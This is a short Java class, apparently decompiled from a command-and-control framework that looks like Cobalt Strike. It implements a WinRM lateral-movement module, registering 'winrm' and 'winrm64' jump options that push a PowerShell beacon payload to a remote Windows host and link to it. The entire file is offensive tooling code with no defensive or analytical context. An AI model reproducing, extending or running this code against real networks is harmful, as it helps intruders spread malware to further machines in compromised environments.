package beacon.remoteexploits;

import aggressor.AggressorClient;
import aggressor.DataUtils;
import beacon.BeaconRemoteExploits;
import beacon.TaskBeacon;
import common.ListenerUtils;
import common.ScListener;

public class WinRM implements BeaconRemoteExploits.RemoteExploit {
    protected String arch;

    protected AggressorClient client;

    public WinRM(AggressorClient aggressorClient, String string) {
        this.client = aggressorClient;
        this.arch = string;
        if ("x86".equals(string)) {
            DataUtils.getBeaconRemoteExploits(aggressorClient.getData()).register("winrm", string, "Run a PowerShell script via WinRM", this);
        } else {
            DataUtils.getBeaconRemoteExploits(aggressorClient.getData()).register("winrm64", string, "Run a PowerShell script via WinRM", this);
        }
    }

    public void jump(String string1, String string2, String string3) {
        ScListener scListener = ListenerUtils.getListener(this.client, string3);
        TaskBeacon taskBeacon = new TaskBeacon(this.client, new String[]{string1});
        taskBeacon.WinRM(string1, string2, this.arch, scListener);
        taskBeacon.linkToPayloadRemote(scListener, string2);
    }
}
